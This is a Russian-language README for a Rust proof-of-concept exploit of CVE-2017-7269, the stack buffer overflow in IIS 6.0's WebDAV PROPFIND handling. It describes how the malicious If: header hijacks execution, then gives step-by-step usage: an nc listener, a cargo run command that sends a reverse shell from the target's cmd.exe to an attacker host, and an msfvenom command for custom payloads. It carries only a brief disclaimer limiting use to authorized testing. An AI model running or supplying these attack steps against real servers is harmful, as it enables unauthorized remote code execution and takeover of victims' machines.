
Реализация POC для CVE-2017-7269 на Rust, нацеленная на службу WebDAV в Microsoft Internet Information Services (IIS) 6.0.
Реализация POC для CVE-2017-7269 на языке Rust, нацеленная на службу WebDAV в Microsoft Internet Information Services (IIS) 6.0.
CVE-2017-7269 — это критическая уязвимость переполнения буфера на основе стека, обнаруженная в службе WebDAV Microsoft IIS 6.0, которая поставлялась с Windows Server 2003 R2. Успешная эксплуатация позволяет неаутентифицированному злоумышленнику добиться удалённого выполнения кода на целевом сервере.
httpext.dll (расширение WebDAV для IIS)ScStoragePathFromUrlPROPFIND.If:, содержащий несколько URL-адресов.Эта уязвимость представляет собой классическое переполнение буфера в стеке. Она срабатывает, когда функция ScStoragePathFromUrl обрабатывает запрос PROPFIND, содержащий вредоносный заголовок If:.
Эксплойт формирует такой заголовок с длинной строкой байтов, которая переполняет буфер, выделенный в стеке. Это переполнение перезаписывает критически важные данные стека, включая сохранённый обратный адрес (EIP). Эксплойт перехватывает поток выполнения программы, указывая этот обратный адрес на небольшой начальный шеллкод, также расположенный внутри вредоносного заголовка. Задача этого шеллкода первой стадии — найти и выполнить основную полезную нагрузку, обратную оболочку, которая передаётся в теле того же HTTP-запроса. Этот POC успешно демонстрирует удалённое выполнение кода, подключая оболочку cmd.exe обратно к прослушивающему порту, контролируемому атакующим.
Подготовьте прослушиватель (настройте порт в соответствии с --lport):
nc -lvnp <attacker-port>
Запустите эксплойт со встроенным шеллкодом:
cargo run --release -- --rhost <target-ip> --rport <target-port> --lhost <attacker-ip> --lport <attacker-port>
Инструмент динамически модифицирует WSA-шеллкод, используя LHOST/LPORT, и доставляет его в теле HTTP-запроса. Если целевая система уязвима, ваш прослушиватель получит обратную оболочку от cmd.exe.
--payload)Создайте сырую полезную нагрузку
msfvenom -p windows/exec CMD=whoami -f raw -o payload.bin
Доставьте полезную нагрузку (--lhost/--lport не нужны, поскольку шеллкод уже содержит эту информацию):
cargo run --release -- --rhost <target-ip> --rport <target-port> --payload payload.bin
Обработайте обратный вызов в том же прослушивателе, что и раньше. Поскольку бинарник просто передаёт предоставленные байты, точное поведение зависит от сгенерированной вами полезной нагрузки.
Этот инструмент предназначен только для образовательных целей и авторизованного тестирования на проникновение. Используйте ответственно и только на тех системах, которыми вы владеете или на которые у вас есть явное разрешение.